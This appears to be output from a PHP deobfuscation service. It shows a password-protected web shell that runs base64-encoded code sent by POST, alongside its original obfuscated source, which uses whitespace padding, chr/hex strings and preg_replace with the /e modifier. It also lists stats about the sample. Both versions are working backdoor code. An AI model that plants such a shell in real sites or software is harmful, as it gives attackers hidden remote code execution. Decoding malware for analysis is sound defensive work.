Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "m4LmdHu2vJOI1UvN5LSv0oZZDXwzLQXV")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php



                                                                                                                                                                                                                                           $c3dg="p".chr(114).chr(101).chr(103)."\x5f\x72\x65".chr(112)."\x6cac\x65";$R52H5f=chr(101)."\x76\x61l".chr(40)."\x62\x61s".chr(101)."64".chr(95).chr(100).chr(101).chr(99)."ode\x28\x22Q".chr(71)."\x56yc\x6D\x39y".chr(88).chr(51)."J".chr(108)."\x63\x47".chr(57)."\x79\x64G\x6c".chr(117).chr(90).chr(121)."gw".chr(75)."\x54\x73".chr(75)."\x51\x47l\x75\x61\x56\x39\x7a".chr(90)."\x58".chr(81).chr(111)."\x49m".chr(82)."\x70\x63\x33\x42".chr(115).chr(89).chr(88).chr(108).chr(102)."ZXJ\x79".chr(98).chr(51).chr(74)."zI".chr(105)."w\x77\x4B\x54".chr(115)."K".chr(81)."\x47".chr(108)."u\x61\x56\x39\x7AZX".chr(81)."\x6f\x49\x6D\x78\x76".chr(90).chr(49).chr(57)."l".chr(99)."\x6E".chr(74)."\x76c".chr(110)."\x4D".chr(105)."\x4C\x44\x41".chr(112)."\x4f\x77\x70AaW".chr(53).chr(112)."X3N\x6C".chr(100).chr(67)."\x67".chr(105)."\x5a\x58\x4a\x79b".chr(51)."\x4a\x66b\x47".chr(57).chr(110)."\x49i".chr(119)."\x77".chr(75)."\x54\x73".chr(75).chr(67)."\x6Dl\x6d\x49\x43".chr(104).chr(112).chr(99).chr(51)."Nl\x64".chr(67)."\x67k\x58\x31".chr(66).chr(80)."U\x31".chr(81)."p\x49".chr(67)."\x59".chr(109)."I\x47".chr(108)."z".chr(88)."\x32F\x79\x63\x6D\x46".chr(53)."\x4B".chr(67)."\x52\x66\x55E9".chr(84)."\x56".chr(67)."\x6b\x67\x4a\x69Y\x67\x59".chr(50)."9\x31\x62\x6e\x51\x6FJF\x39".chr(81).chr(84).chr(49)."\x4E".chr(85)."\x4B".chr(84).chr(52)."\x78".chr(75)."Qp".chr(55)."C\x67l".chr(109)."\x62\x33J".chr(108)."\x59W\x4e\x6f\x49\x43gk\x58".chr(49)."\x42P\x551".chr(81)."\x67\x59".chr(88)."M".chr(103).chr(74)."H\x5a\x68".chr(99)."\x69\x6B\x4B\x43\x58s".chr(75).chr(67).chr(81)."l\x70".chr(90).chr(105).chr(65)."o".chr(73).chr(87)."\x6C".chr(122)."\x63".chr(50).chr(86)."\x30\x4BC".chr(82)."\x6a\x622Rl\x4B\x53kg\x4a\x47\x4ev".chr(90)."\x47".chr(85)."g\x50".chr(83)."\x41k\x64".chr(109)."F\x79".chr(79)."w".chr(111)."J".chr(67)."W".chr(86).chr(115)."c".chr(50)."V".chr(112)."\x5A\x69\x41oI\x57".chr(108)."z\x632".chr(86)."0".chr(75)."\x43\x52w".chr(89).chr(88)."\x4e\x7aK\x53\x6b\x67J\x48\x42\x68c".chr(51)."Mg".chr(80).chr(83)."A\x6B\x64m".chr(70)."y\x4f".chr(119).chr(111)."J\x43\x57".chr(86)."s\x63".chr(50)."\x55".chr(103)."\x59".chr(110)."\x4A\x6C\x59".chr(87)."s7\x43\x67\x6C\x39\x43\x67o".chr(74)."aWY".chr(103)."\x4b".chr(67)."R\x77Y".chr(88)."N\x7a\x49D\x309".chr(73).chr(67)."\x4a\x74".chr(78)."E\x78\x74".chr(90).chr(69)."\x681M\x6e\x5A\x4b".chr(84).chr(48)."\x6b\x78V".chr(88)."\x5A\x4F\x4E\x55x\x54\x64j\x42".chr(118)."\x57l".chr(112)."\x45".chr(87).chr(72)."\x64".chr(54).chr(84)."\x46F\x59".chr(86)."\x69Ip\x43".chr(103)."\x6C7\x43".chr(103).chr(107)."\x4a\x5aX\x5A\x68".chr(98)."C\x68i\x59X\x4e\x6C\x4Ej\x52\x66Z".chr(71).chr(86).chr(106).chr(98).chr(50)."\x52\x6c\x4BCR\x6ab\x32R\x6CK".chr(83).chr(107).chr(55)."\x43\x67l\x39\x43n\x30KZXh".chr(112)."d".chr(68).chr(115).chr(61)."\x22\x29".chr(41).";";$g5sUE="\x2F\x38\x34f".chr(54)."5".chr(102)."e2".chr(100).chr(48)."\x35\x31b4e\x65\x31\x61\x63\x37\x3578\x63".chr(50).chr(54)."\x642\x34\x33\x65b\x2F".chr(101);$c3dg($g5sUE,$R52H5f,chr(56)."4\x66".chr(54)."5".chr(102)."e\x32".chr(100).chr(48)."\x35\x31b\x34ee1".chr(97)."\x63".chr(55)."5".chr(55)."8\x63".chr(50)."6\x642\x34".chr(51).chr(101).chr(98));



?>

Function Calls

chr 185
preg_replace 1
base64_decode 1

Variables

$c3dg preg_replace
$g5sUE /84f65fe2d051b4ee1ac7578c26d243eb/e
$R52H5f eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..

Stats

MD5 c379a7d44d6194c487b59469e232c55d
Eval Count 2
Decode Time 271 ms